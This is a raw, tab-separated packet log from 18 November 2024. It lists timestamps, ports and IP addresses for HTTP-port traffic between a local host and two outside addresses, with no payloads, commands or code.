Nov 18, 2024 19:04:24.000579119 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000579119 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000627041 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000688076 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000694036 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000709057 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000754118 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000754118 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000792027 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000808001 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.000844002 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000844002 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.000952959 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001029968 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001044989 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001065016 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001090050 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001090050 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001111031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001127005 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001144886 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001152992 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001183033 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001183033 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001279116 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001322031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001337051 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001357079 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001357079 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001447916 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001477957 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001492977 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001508951 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001526117 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001543045 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001543045 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001569986 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001569986 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001658916 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001672029 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001732111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001866102 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001880884 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001897097 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.001924038 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001924038 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.001959085 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.002005100 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.002057076 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.002088070 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.002103090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.002120018 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.002135992 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.002145052 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.002145052 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.002176046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.002176046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.002234936 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.002250910 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.002265930 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.002280951 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.002296925 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.002307892 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.002307892 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.002311945 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.002356052 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.002356052 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.006211042 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.006253958 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.006268024 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.006292105 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.006292105 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.006337881 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.006340027 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.006355047 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.006371975 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.006390095 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.006390095 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.006412029 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.007837057 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.007875919 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.007920980 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.008858919 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.009052992 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.009114027 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.010088921 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.010337114 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.010399103 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.012945890 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.012973070 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.012989044 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.013020992 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.013056040 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.013087988 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.013109922 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.013125896 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.013142109 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.013144970 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.013158083 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.013175011 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.013175011 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.013191938 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.058749914 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.058775902 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.058795929 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.058814049 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.058837891 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.058837891 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.059025049 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.079885960 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.079924107 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.079941034 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.079971075 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.120321989 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.120388031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.120402098 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.120425940 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.120425940 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.120440960 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.120460987 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.120474100 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.120474100 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.120515108 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.120526075 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.120583057 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.120625019 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.120625019 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.120631933 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.120647907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.120676041 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.120676041 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.120791912 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.120835066 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.120857000 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.120872021 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.120913029 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.120913029 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121022940 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121037960 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121052027 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121067047 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121078014 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121078014 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121156931 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121172905 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121191978 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121191978 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121260881 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121298075 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121298075 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121315002 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121328115 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121366024 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121366024 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121404886 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121419907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121437073 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121459961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121459961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121556997 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121582031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121596098 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121596098 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121597052 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121613026 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121627092 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121627092 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121628046 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121682882 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121682882 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121845961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121860981 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121875048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121890068 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121891022 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121906042 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121922970 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.121941090 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.121942043 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122071028 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122076035 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122108936 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122114897 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122147083 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122191906 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122191906 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122198105 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122219086 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122256994 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122256994 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122364044 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122406960 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122468948 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122486115 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122500896 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122515917 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122524023 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122524023 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122530937 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122548103 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122559071 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122559071 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122565031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122637987 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122638941 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.122831106 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.122874975 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.124768019 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.124798059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.124811888 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.124825954 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.124861956 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.126379013 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.126445055 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.126460075 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.126487017 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.126487017 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.126497030 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.126513004 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.126537085 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.126537085 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.126846075 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.133150101 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.133167028 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.133183002 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.133198977 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.133207083 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.133207083 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.133224964 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.133249044 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.133290052 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.133290052 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.133320093 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.133333921 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.133348942 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.133375883 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.133375883 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.133443117 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.165488005 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.165508986 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.165576935 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.178955078 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.178970098 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.178983927 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.179020882 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.179020882 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.179172039 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.179217100 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.179231882 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.179253101 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.179253101 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.179296017 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.240987062 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241045952 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241082907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241116047 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241115093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241115093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241142988 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241173983 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241216898 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241216898 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241226912 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241262913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241295099 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241305113 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241305113 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241347075 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241353989 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241377115 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241399050 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241413116 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241445065 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241449118 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241482019 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241492033 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241492033 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241535902 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241554976 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241570950 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241591930 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241637945 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241672039 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241682053 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241682053 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241704941 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241739988 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241746902 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241746902 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241775036 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241816044 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241833925 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241882086 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241882086 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241887093 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241919041 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.241938114 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241960049 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.241971016 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242005110 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242038965 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242043972 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242043972 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242090940 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242100954 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242125988 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242158890 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242166996 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242166996 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242192030 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242204905 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242224932 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242243052 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242263079 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242295027 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242316961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242319107 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242351055 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242388964 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242398977 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242398977 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242423058 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242456913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242475033 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242475033 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242491007 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242523909 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242532015 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242532015 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242558002 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242599964 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242599964 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242608070 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242641926 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242659092 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242675066 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242708921 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242714882 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242714882 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242760897 CET	80	49980	185.215.113.16	192.168.2.5
